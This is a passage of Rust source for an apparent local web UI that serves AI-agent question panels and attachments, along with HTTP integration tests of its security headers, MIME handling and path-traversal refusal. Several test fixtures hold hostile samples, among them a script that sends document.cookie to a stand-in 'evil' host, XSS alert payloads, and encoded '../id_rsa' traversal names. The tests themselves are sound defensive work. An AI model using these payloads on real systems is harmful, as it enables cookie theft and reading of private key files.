7126 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7127 Ok((StatusCode::CREATED, Json(att)))
7128 })
7129 .await
7130}
7131
7132async fn talk_attachment_get(
7135 State(ui): State<Arc<Ui>>,
7136 Path((id, att)): Path<(String, String)>,
7137) -> ApiResult<Response> {
7138 blocking(move || {
7139 let id = resolve_talk(&ui.talks, &id)?;
7140 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7141 return Err(ApiError::not_found(format!(
7142 "talk {id} has no attachment `{att}`"
7143 )));
7144 };
7145 Ok(attachment_response(&meta.mime, data))
7146 })
7147 .await
7148}
7149
7150fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7161 if data.len() > ATTACHMENT_MAX_BYTES {
7162 return Err(ApiError::bad_request(format!(
7163 "attachment is {} bytes, over the {} MiB limit",
7164 data.len(),
7165 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7166 ))
7167 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7168 }
7169 if data.is_empty() {
7170 return Err(ApiError::bad_request("attachment is empty"));
7171 }
7172 let declared = declared_mime(headers)?;
7173 match sniffed_mime(data) {
7174 Some(sniffed) if sniffed == declared => Ok(declared),
7175 Some(sniffed) => Err(ApiError::bad_request(format!(
7176 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7177 ))),
7178 None => Err(ApiError::bad_request(
7179 "the file's bytes do not match any accepted image format",
7180 )),
7181 }
7182}
7183
7184fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7188 let raw = headers
7189 .get(header::CONTENT_TYPE)
7190 .and_then(|v| v.to_str().ok())
7191 .unwrap_or("")
7192 .split(';')
7193 .next()
7194 .unwrap_or("")
7195 .trim()
7196 .to_ascii_lowercase();
7197 ATTACHMENT_MIME_WHITELIST
7198 .iter()
7199 .find(|&&m| m == raw)
7200 .copied()
7201 .ok_or_else(|| {
7202 if raw == "image/svg+xml" {
7203 ApiError::bad_request(
7204 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7205 not just a picture",
7206 )
7207 } else if raw.is_empty() {
7208 ApiError::bad_request("Content-Type is required for an attachment upload")
7209 } else {
7210 ApiError::bad_request(format!(
7211 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7212 image/gif or image/webp"
7213 ))
7214 }
7215 })
7216}
7217
7218fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7221 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7222 Some("image/png")
7223 } else if data.starts_with(b"\xff\xd8\xff") {
7224 Some("image/jpeg")
7225 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7226 Some("image/gif")
7227 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7228 Some("image/webp")
7229 } else {
7230 None
7231 }
7232}
7233
7234fn filename_header(headers: &HeaderMap) -> String {
7240 headers
7241 .get(FILENAME_HEADER)
7242 .and_then(|v| v.to_str().ok())
7243 .map(str::trim)
7244 .filter(|s| !s.is_empty())
7245 .unwrap_or("attachment")
7246 .to_owned()
7247}
7248
7249fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7256 let content_type = ATTACHMENT_MIME_WHITELIST
7257 .iter()
7258 .find(|&&m| m == mime)
7259 .copied()
7260 .unwrap_or("application/octet-stream");
7261 (
7262 [
7263 (header::CONTENT_TYPE, content_type),
7264 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7265 ],
7266 body,
7267 )
7268 .into_response()
7269}
7270
7271async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7279 let repo = repo.to_path_buf();
7280 blocking(move || {
7281 let (cfg, _) = Config::discover(&repo, None)?;
7282 Ok(cfg)
7283 })
7284 .await
7285}
7286
7287fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7293 let mut hits = ids
7294 .into_iter()
7295 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7296 match (hits.next(), hits.next()) {
7297 (Some(one), None) => Ok(one),
7298 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7299 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7300 "`{prefix}` matches more than one {what}, including {a} and {b}"
7301 ))),
7302 }
7303}
7304
7305#[cfg(test)]
7306mod tests {
7307
7308 #[test]
7309 fn holder_reads_the_lease_not_the_record() {
7310 let mut q = Question::new(
7311 "run".to_owned(),
7312 "implement".to_owned(),
7313 "impl-A".to_owned(),
7314 "which?".to_owned(),
7315 String::new(),
7316 Vec::new(),
7317 );
7318 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7319 q.cwd = Some("/tmp".to_owned());
7320 assert_eq!(holder_of(&q, None), Some("nobody"));
7321 let beat = |kind, ago: i64| ask::Lease {
7322 kind,
7323 pid: 1,
7324 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7325 .unwrap(),
7326 };
7327 let fresh = beat(ask::WaiterKind::Asker, 1);
7328 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7329 let daemon = beat(ask::WaiterKind::Daemon, 1);
7330 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7331 let stale = beat(ask::WaiterKind::Asker, 3600);
7332 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7333
7334 let mut c = Question::new(
7337 "task".to_owned(),
7338 crate::conduct::NODE.to_owned(),
7339 "conduct".to_owned(),
7340 "which?".to_owned(),
7341 String::new(),
7342 Vec::new(),
7343 );
7344 assert_eq!(holder_of(&c, None), Some("nobody"));
7345 c.cwd = Some("/tmp".to_owned());
7346 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7347 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7348 let deputy = beat(ask::WaiterKind::Deputy, 1);
7349 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7350 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7351
7352 let mut r = Question::new(
7354 String::new(),
7355 crate::bump::NOTICE_NODE.to_owned(),
7356 "release-watch".to_owned(),
7357 "stuck?".to_owned(),
7358 String::new(),
7359 vec!["hold".to_owned()],
7360 );
7361 assert_eq!(holder_of(&r, None), Some("nobody"));
7362 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7363 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7364 r.deputy = None;
7366 r.seat = "bump".to_owned();
7367 assert_eq!(holder_of(&r, None), None);
7368
7369 let mut m = Question::new(
7372 "run".to_owned(),
7373 crate::land::APPROVAL_NODE.to_owned(),
7374 "land".to_owned(),
7375 "merge?".to_owned(),
7376 String::new(),
7377 Vec::new(),
7378 );
7379 assert_eq!(holder_of(&m, None), Some("nobody"));
7380 assert_eq!(
7381 holder_of(&m, Some(&fresh)),
7382 Some("nobody"),
7383 "a lease with no deputy is not a listener"
7384 );
7385 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7386 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7387 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7388 assert_eq!(holder_of(&m, None), Some("nobody"));
7389 }
7390
7391 fn stub_config() -> Config {
7392 Config {
7395 agents: vec![crate::config::AgentSpec {
7396 id: "stub".to_owned(),
7397 kind: AgentKind::Command,
7398 model: None,
7399 command: vec!["true".to_owned()],
7400 extra_args: Vec::new(),
7401 env: Default::default(),
7402 prompt_delivery: None,
7403 }],
7404 ..Config::default()
7405 }
7406 }
7407
7408 fn plain_question(seat: &str) -> Question {
7409 Question::new(
7410 String::new(),
7411 "n".to_owned(),
7412 seat.to_owned(),
7413 "s".to_owned(),
7414 String::new(),
7415 Vec::new(),
7416 )
7417 }
7418
7419 #[test]
7420 fn deputies_enabled_follows_the_config() {
7421 let on = stub_config();
7422 assert!(crate::deputy::can_start(Some(&on), ""));
7423 assert!(crate::deputy::can_start(Some(&on), "stub"));
7424 let mut off = on.clone();
7425 off.daemon.max_deputies = 0;
7426 assert!(!crate::deputy::can_start(Some(&off), ""));
7427 let mut empty = on;
7428 empty.agents.clear();
7429 assert!(!crate::deputy::can_start(Some(&empty), ""));
7430 assert!(!crate::deputy::can_start(None, ""));
7431 }
7432
7433 #[test]
7434 fn question_views_load_the_config_once() {
7435 let dir = TempDir::new().unwrap();
7436 let store = ask::Questions::at(dir.path().to_path_buf());
7437 let mut with_deputy = plain_question("b");
7438 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7439 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7440
7441 let calls = std::cell::Cell::new(0usize);
7442 let views = question_views(qs.clone(), &store, || {
7443 calls.set(calls.get() + 1);
7444 Some(stub_config())
7445 });
7446 assert_eq!(calls.get(), 1);
7447 assert_eq!(views.len(), 3);
7448 for (v, q) in views.iter().zip(&qs) {
7449 assert_eq!(
7450 v.deputies_enabled,
7451 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7452 );
7453 }
7454
7455 let views = question_views(qs, &store, || None);
7456 assert!(views.iter().all(|v| !v.deputies_enabled));
7457
7458 let calls = std::cell::Cell::new(0usize);
7459 let views = question_views(Vec::new(), &store, || {
7460 calls.set(calls.get() + 1);
7461 None
7462 });
7463 assert!(views.is_empty());
7464 assert_eq!(calls.get(), 0);
7465 }
7466
7467 use pretty_assertions::assert_eq;
7468 use serde_json::Value;
7469 use tempfile::TempDir;
7470 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7471
7472 use super::*;
7473 use crate::config::Config;
7474 use crate::queue::Source;
7475
7476 const SETTLE_STEPS: usize = 3_000;
7487
7488 struct Fixture {
7494 home: TempDir,
7495 addr: SocketAddr,
7496 }
7497
7498 impl Fixture {
7499 async fn start() -> Self {
7500 Self::with_loop(launch_idle).await
7501 }
7502
7503 async fn with_loop(launch: Launch) -> Self {
7505 let home = TempDir::new().expect("temp home");
7506 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7507 Self { home, addr }
7508 }
7509
7510 async fn with_repo(repo: PathBuf) -> Self {
7514 let home = TempDir::new().expect("temp home");
7515 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7516 Self { home, addr }
7517 }
7518
7519 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7522 let home = TempDir::new().expect("temp home");
7523 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7524 Self { home, addr }
7525 }
7526
7527 async fn serve(
7528 home: &FsPath,
7529 repo: PathBuf,
7530 launch: Launch,
7531 machine: Option<PathBuf>,
7532 ) -> SocketAddr {
7533 let queue = Queue::at(home.join("queue"));
7534 let runs = home.join("runs");
7535 std::fs::create_dir_all(&runs).expect("runs dir");
7536 let worktrees = home.join("wt").join("magi");
7537 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7538 let ui = Ui::new(
7539 queue,
7540 Questions::at(home.join("questions")),
7541 Talks::at(home.join("talks")),
7542 runs,
7543 home.to_path_buf(),
7544 repo,
7545 )
7546 .with_worktrees_root(worktrees)
7547 .with_machine_config(machine)
7548 .with_launch(launch);
7549 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7550 .await
7551 .expect("bind loopback");
7552 let addr = listener.local_addr().expect("local addr");
7553 tokio::spawn(async move {
7554 let _ = axum::serve(listener, ui.router()).await;
7555 });
7556 addr
7557 }
7558
7559 fn queue(&self) -> Queue {
7560 Queue::at(self.home.path().join("queue"))
7561 }
7562
7563 fn questions(&self) -> Questions {
7564 Questions::at(self.home.path().join("questions"))
7565 }
7566
7567 fn talks(&self) -> Talks {
7568 Talks::at(self.home.path().join("talks"))
7569 }
7570
7571 fn runs(&self) -> PathBuf {
7572 self.home.path().join("runs")
7573 }
7574
7575 async fn get(&self, path: &str) -> Res {
7576 request(self.addr, "GET", path, None).await
7577 }
7578
7579 async fn head(&self, path: &str) -> Res {
7584 request(self.addr, "HEAD", path, None).await
7585 }
7586
7587 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7588 request(self.addr, "POST", path, body).await
7589 }
7590
7591 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7592 request_with(self.addr, "GET", path, None, extra).await
7593 }
7594
7595 async fn delete(&self, path: &str) -> Res {
7596 request(self.addr, "DELETE", path, None).await
7597 }
7598
7599 async fn put(&self, path: &str, body: &str) -> Res {
7600 request(self.addr, "PUT", path, Some(body)).await
7601 }
7602
7603 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7605 request_bytes(self.addr, path, headers, body).await
7606 }
7607 }
7608
7609 struct Res {
7610 status: u16,
7611 headers: String,
7612 head: String,
7617 body: String,
7618 bytes: Vec<u8>,
7622 }
7623
7624 impl Res {
7625 fn json(&self) -> Value {
7626 serde_json::from_str(&self.body)
7627 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7628 }
7629
7630 fn header(&self, name: &str) -> Option<&str> {
7632 self.head.lines().find_map(|line| {
7633 let (key, value) = line.split_once(':')?;
7634 key.trim()
7635 .eq_ignore_ascii_case(name)
7636 .then(|| value.trim_start().trim_end_matches('\r'))
7637 })
7638 }
7639 }
7640
7641 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7644 request_with(addr, method, path, body, &[]).await
7645 }
7646
7647 async fn request_with(
7651 addr: SocketAddr,
7652 method: &str,
7653 path: &str,
7654 body: Option<&str>,
7655 extra: &[(&str, &str)],
7656 ) -> Res {
7657 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7658 for (name, value) in extra {
7659 head.push_str(&format!("{name}: {value}\r\n"));
7660 }
7661 if let Some(body) = body {
7662 head.push_str("Content-Type: application/json\r\n");
7663 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7664 }
7665 head.push_str("\r\n");
7666 if let Some(body) = body {
7667 head.push_str(body);
7668 }
7669 let mut socket = tokio::net::TcpStream::connect(addr)
7670 .await
7671 .expect("connect to the test server");
7672 socket
7673 .write_all(head.as_bytes())
7674 .await
7675 .expect("write request");
7676 let mut raw = Vec::new();
7677 socket.read_to_end(&mut raw).await.expect("read response");
7678 let split = raw
7681 .windows(4)
7682 .position(|w| w == b"\r\n\r\n")
7683 .expect("a header block");
7684 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7685 let bytes = raw[split + 4..].to_vec();
7686 let status = head
7687 .lines()
7688 .next()
7689 .and_then(|line| line.split_whitespace().nth(1))
7690 .and_then(|code| code.parse().ok())
7691 .expect("a status line");
7692 Res {
7693 status,
7694 headers: head.to_lowercase(),
7695 head,
7696 body: String::from_utf8_lossy(&bytes).into_owned(),
7697 bytes,
7698 }
7699 }
7700
7701 async fn request_bytes(
7707 addr: SocketAddr,
7708 path: &str,
7709 headers: &[(&str, &str)],
7710 body: &[u8],
7711 ) -> Res {
7712 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7713 for (name, value) in headers {
7714 head.push_str(&format!("{name}: {value}\r\n"));
7715 }
7716 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7717 let mut socket = tokio::net::TcpStream::connect(addr)
7718 .await
7719 .expect("connect to the test server");
7720 socket
7721 .write_all(head.as_bytes())
7722 .await
7723 .expect("write request head");
7724 socket.write_all(body).await.expect("write request body");
7725 let mut raw = Vec::new();
7726 socket.read_to_end(&mut raw).await.expect("read response");
7727 let split = raw
7728 .windows(4)
7729 .position(|w| w == b"\r\n\r\n")
7730 .expect("a header block");
7731 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7732 let bytes = raw[split + 4..].to_vec();
7733 let status = head
7734 .lines()
7735 .next()
7736 .and_then(|line| line.split_whitespace().nth(1))
7737 .and_then(|code| code.parse().ok())
7738 .expect("a status line");
7739 Res {
7740 status,
7741 headers: head.to_lowercase(),
7742 head,
7743 body: String::from_utf8_lossy(&bytes).into_owned(),
7744 bytes,
7745 }
7746 }
7747
7748 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7750 let mut state = RunState::new(
7751 PathBuf::from("/repo/magi"),
7752 "main".to_owned(),
7753 "0123456789abcdef".to_owned(),
7754 "Add a web UI\n\nMobile first.".to_owned(),
7755 Config::default(),
7756 );
7757 state.id = id.to_owned();
7758 state.status = status;
7759 let dir = runs.join(id);
7760 std::fs::create_dir_all(&dir).expect("run dir");
7761 std::fs::write(
7762 dir.join("run.json"),
7763 serde_json::to_string_pretty(&state).expect("serialize run"),
7764 )
7765 .expect("write run.json");
7766 }
7767
7768 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7772 let mut state = RunState::new(
7773 PathBuf::from(repo),
7774 "main".to_owned(),
7775 "0123456789abcdef".to_owned(),
7776 "task".to_owned(),
7777 Config::default(),
7778 );
7779 state.id = id.to_owned();
7780 state.status = status;
7781 let dir = runs.join(id);
7782 std::fs::create_dir_all(&dir).expect("run dir");
7783 std::fs::write(
7784 dir.join("run.json"),
7785 serde_json::to_string_pretty(&state).expect("serialize run"),
7786 )
7787 .expect("write run.json");
7788 }
7789
7790 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7791 let body = serde_json::json!({
7792 "schema": 1,
7793 "pid": 4242,
7794 "started_at": Timestamp::now().to_string(),
7795 "updated_at": updated_at.to_string(),
7796 "idle": false,
7797 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7798 "completed": 7,
7799 "polls": 143,
7800 });
7801 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7802 }
7803
7804 fn launch_idle(
7814 _opts: daemon::Opts,
7815 stop: daemon::Stop,
7816 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7817 Box::pin(async move {
7818 while !stop.stopped() {
7819 tokio::time::sleep(Duration::from_millis(2)).await;
7820 }
7821 Ok(())
7822 })
7823 }
7824
7825 fn launch_broken(
7828 _opts: daemon::Opts,
7829 _stop: daemon::Stop,
7830 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7831 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7836 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7837 Box::pin(async move {
7838 Err(anyhow::anyhow!(if first {
7839 "publish the daemon status file: read-only file system"
7840 } else {
7841 "the restarted stand-in failed as well"
7842 }))
7843 })
7844 }
7845
7846 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7853 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7854
7855 fn launch_knocking_on_the_way_out(
7862 _opts: daemon::Opts,
7863 stop: daemon::Stop,
7864 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7865 Box::pin(async move {
7866 while !stop.stopped() {
7867 tokio::time::sleep(Duration::from_millis(2)).await;
7868 }
7869 let addr = PARK_KNOCK
7870 .lock()
7871 .expect("park knock")
7872 .expect("the test set an address");
7873 let heard = request(addr, "GET", "/api/health", None).await.status;
7874 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7875 Ok(())
7876 })
7877 }
7878
7879 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7888 for _ in 0..SETTLE_STEPS {
7889 let view = fx.get("/api/loop").await.json();
7890 if want(&view) {
7891 return view;
7892 }
7893 tokio::time::sleep(Duration::from_millis(10)).await;
7894 }
7895 panic!(
7896 "the loop never settled: {}",
7897 fx.get("/api/loop").await.json()
7898 );
7899 }
7900
7901 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7903 let store = fx.questions();
7904 let mut q = Question::new(
7905 "20260902-000000-beef".to_owned(),
7906 "implement".to_owned(),
7907 "impl-A".to_owned(),
7908 summary.to_owned(),
7909 "because it matters".to_owned(),
7910 choices.iter().map(|c| (*c).to_owned()).collect(),
7911 );
7912 store.put(&mut q).expect("put question");
7913 q.id
7914 }
7915
7916 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7922 let store = fx.questions();
7923 let mut q = Question::new(
7924 "20260902-000000-beef".to_owned(),
7925 "land".to_owned(),
7926 "fix".to_owned(),
7927 "Merge this?".to_owned(),
7928 "the diff is in the panel".to_owned(),
7929 vec!["merge".to_owned(), "hold".to_owned()],
7930 );
7931 let staging = fx.home.path().join("staging");
7934 std::fs::create_dir_all(&staging).expect("staging dir");
7935 let sources: Vec<PathBuf> = assets
7936 .iter()
7937 .map(|(name, bytes)| {
7938 let path = staging.join(name);
7939 std::fs::write(&path, bytes).expect("write staged asset");
7940 path
7941 })
7942 .collect();
7943 store
7944 .put_panel(&mut q, html, &sources)
7945 .expect("write the panel");
7946 store.put(&mut q).expect("put question");
7947 q.id
7948 }
7949
7950 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7959 seed_talk_at(&fx.talks(), id, status)
7960 }
7961
7962 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7963 std::fs::create_dir_all(store.root()).expect("talks dir");
7964 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7965 .expect("serialize a seat");
7966 let body = serde_json::json!({
7967 "schema": 1,
7968 "id": id,
7969 "repo": "/repo/magi",
7970 "agent": "mock",
7971 "status": status,
7972 "turns": [],
7973 "created_at": Timestamp::now().to_string(),
7974 "updated_at": Timestamp::now().to_string(),
7975 "seat": seat,
7976 });
7977 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7978 store.get(id).expect("the seeded talk has to be readable");
7979 id.to_owned()
7980 }
7981
7982 #[tokio::test]
7983 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7984 let fx = Fixture::start().await;
7985 let id = panel(
7986 &fx,
7987 "<h1>Merge?</h1><img src=\"diff.svg\">",
7988 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7989 );
7990
7991 for path in [
7992 format!("/api/questions/{id}/panel"),
7993 format!("/api/questions/{id}/asset/diff.svg"),
7994 ] {
7995 let res = fx.get(&path).await;
7996 assert_eq!(res.status, 200, "{path}: {}", res.body);
7997 assert_eq!(
8003 res.header("content-security-policy"),
8004 Some(
8005 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8006 font-src data:; base-uri 'none'; form-action 'none'; \
8007 frame-ancestors 'self'"
8008 ),
8009 "{path} is the only thing between a hostile panel and the tailnet"
8010 );
8011 assert_eq!(
8012 res.header("x-content-type-options"),
8013 Some("nosniff"),
8014 "{path}: a browser must not re-decide the type we sent"
8015 );
8016 assert_eq!(
8017 res.header("referrer-policy"),
8018 Some("no-referrer"),
8019 "{path}: a panel must not leak the question id off the machine"
8020 );
8021
8022 let pre = fx.head(&path).await;
8027 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8028 assert_eq!(
8029 pre.header("content-security-policy"),
8030 res.header("content-security-policy"),
8031 "{path}: the preflight carries the same policy"
8032 );
8033 assert_eq!(
8034 pre.header("content-type"),
8035 res.header("content-type"),
8036 "{path}: the preflight carries the same type"
8037 );
8038 }
8039 }
8040
8041 #[tokio::test]
8042 async fn a_panel_reaches_the_browser_byte_for_byte() {
8043 let fx = Fixture::start().await;
8044 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8049 let id = panel(&fx, html, &[]);
8050
8051 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8052
8053 assert_eq!(res.status, 200);
8054 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8055 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8056 assert_eq!(
8057 res.header("content-disposition"),
8058 None,
8059 "the panel itself is rendered in the frame, not downloaded"
8060 );
8061 }
8062
8063 #[tokio::test]
8064 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8065 let fx = Fixture::start().await;
8066 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8067 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8068 let id = panel(
8069 &fx,
8070 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8071 &[("diff.svg", svg), ("shot.png", png)],
8072 );
8073
8074 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8075 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8076
8077 assert_eq!(as_svg.status, 200);
8078 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8079 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8084
8085 assert_eq!(as_png.status, 200);
8086 assert_eq!(as_png.header("content-type"), Some("image/png"));
8087 assert_eq!(
8088 as_png.header("content-disposition"),
8089 None,
8090 "a raster image has no execution surface, so tapping it still shows it"
8091 );
8092 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8093 }
8094
8095 #[tokio::test]
8096 async fn an_html_asset_is_never_served_as_html() {
8097 let fx = Fixture::start().await;
8098 let id = panel(
8099 &fx,
8100 "<p>see the notes</p>",
8101 &[
8102 (
8103 "notes.html",
8104 b"<script>fetch('http://evil/'+document.cookie)</script>",
8105 ),
8106 ("hook.js", b"fetch('http://evil/')"),
8107 ("data.json", b"{}"),
8108 ("HEADLINE.TXT", b"plain"),
8109 ],
8110 );
8111
8112 for name in ["notes.html", "hook.js", "data.json"] {
8113 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8114 assert_eq!(res.status, 200, "{name}: {}", res.body);
8115 assert_eq!(
8120 res.header("content-type"),
8121 Some("application/octet-stream"),
8122 "{name} must not be a type the browser will execute or render"
8123 );
8124 }
8125 let txt = fx
8128 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8129 .await;
8130 assert_eq!(
8131 txt.header("content-type"),
8132 Some("text/plain; charset=utf-8")
8133 );
8134 }
8135
8136 #[tokio::test]
8137 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8138 let fx = Fixture::start().await;
8139 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8140 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8144
8145 for encoded in [
8152 "%2e%2e%2fid_rsa",
8153 "..%2fid_rsa",
8154 "..%5cid_rsa",
8155 "%2e%2e%5cid_rsa",
8156 "diff%00.svg",
8157 "..",
8158 ".hidden",
8159 "%2e%2e%2f%2e%2e%2fid_rsa",
8160 ] {
8161 let res = fx
8162 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8163 .await;
8164 assert_eq!(
8165 res.status, 400,
8166 "`{encoded}` has to be refused by name, not looked up: {}",
8167 res.body
8168 );
8169 assert!(res.json()["error"].is_string(), "{}", res.body);
8170 }
8171
8172 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8178 let res = fx
8179 .get(&format!("/api/questions/{id}/asset/{literal}"))
8180 .await;
8181 assert_eq!(
8182 res.status, 404,
8183 "`{literal}` must not match the asset route at all: {}",
8184 res.body
8185 );
8186 }
8187 }
8188
8189 #[tokio::test]
8190 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8191 let fx = Fixture::start().await;
8192 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8193 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8194
8195 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8199 assert_eq!(none.status, 404, "{}", none.body);
8200 assert!(none.json()["error"].is_string(), "{}", none.body);
8201 assert_eq!(
8202 fx.head(&format!("/api/questions/{plain}/panel"))
8203 .await
8204 .status,
8205 404,
8206 "the preflight is the only way the client can learn this"
8207 );
8208
8209 let missing = fx
8211 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8212 .await;
8213 assert_eq!(missing.status, 404, "{}", missing.body);
8214 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8215
8216 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8218 assert_eq!(
8219 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8220 404
8221 );
8222 }
8223
8224 #[tokio::test]
8225 async fn a_run_with_an_open_question_reads_as_waiting() {
8226 let fx = Fixture::start().await;
8227 let run = "20260902-000000-beef".to_owned();
8228 write_run(&fx.runs(), &run, RunStatus::Implementing);
8229
8230 let before = fx.get("/api/runs").await.json();
8231 assert_eq!(before[0]["waiting"], false, "{before}");
8232
8233 let store = fx.questions();
8234 let mut q = Question::new(
8235 run.clone(),
8236 "implement".to_owned(),
8237 "impl-A".to_owned(),
8238 "Which backend?".to_owned(),
8239 String::new(),
8240 vec!["SQLite".to_owned()],
8241 );
8242 store.put(&mut q).expect("put");
8243
8244 let during = fx.get("/api/runs").await.json();
8245 assert_eq!(during[0]["waiting"], true, "{during}");
8246
8247 q.answer(Answer::Choice("SQLite".to_owned()))
8250 .expect("answer");
8251 store.put(&mut q).expect("put");
8252 let after = fx.get("/api/runs").await.json();
8253 assert_eq!(after[0]["waiting"], false, "{after}");
8254 }
8255
8256 #[tokio::test]
8257 async fn an_open_question_is_listed_and_counted_by_health() {
8258 let fx = Fixture::start().await;
8259 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8260
8261 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8262 let listed = fx.get("/api/questions").await.json();
8263 assert_eq!(listed.as_array().expect("array").len(), 1);
8264 assert_eq!(listed[0]["id"], id);
8265 assert_eq!(listed[0]["status"], "open");
8266 assert_eq!(listed[0]["choices"][1], "Redis");
